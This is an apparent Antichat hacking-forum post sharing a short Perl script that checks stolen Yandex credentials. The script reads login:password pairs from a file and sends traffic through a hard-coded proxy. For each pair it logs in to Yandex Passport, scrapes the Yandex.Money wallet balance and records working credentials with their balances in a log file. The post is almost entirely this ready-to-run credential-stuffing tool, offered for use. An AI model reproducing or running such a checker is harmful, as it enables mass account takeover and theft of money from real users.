ANTICHAT - Показать сообщение отдельно

Мож кто-то выкладывал...
PHP код:

		
			


#!/usr/bin/perl



use LWP::UserAgent;

use HTTP::Cookies;





$url['0'] = 'http://passport.yandex.ru/passport?mode=auth';

$url['1'] = 'http://money.yandex.ru/';

$proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line



my $ua = LWP::UserAgent->new;

my $cookie_jar = HTTP::Cookies->new;



$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');



push @{ $ua->requests_redirectable }, 'POST';



if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){

$ua->proxy('http', "http://$proxy/"); };



open(ACCS, "<accs.txt");

open(LOG, ">logs.txt");



@accs = <ACCS>; close (ACCS);



foreach (@accs){



($login, $pass) = split(':',$_);



$pass =~ s/ |\n//;





$ua->cookie_jar($cookie_jar);



$ua->post( $url['0'],

[login => $login,

passwd => $pass]);



my $response = $ua->post($url['1']);



$content = $response->content;



$sum = 'koshel\'ka net';



while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};



print LOG "$login:$pass:$sum\n";

print "$login:$pass:$sum\n";

$sum = '0 =(';



$cookie_jar->clear_temporary_cookies;



}



close (LOG);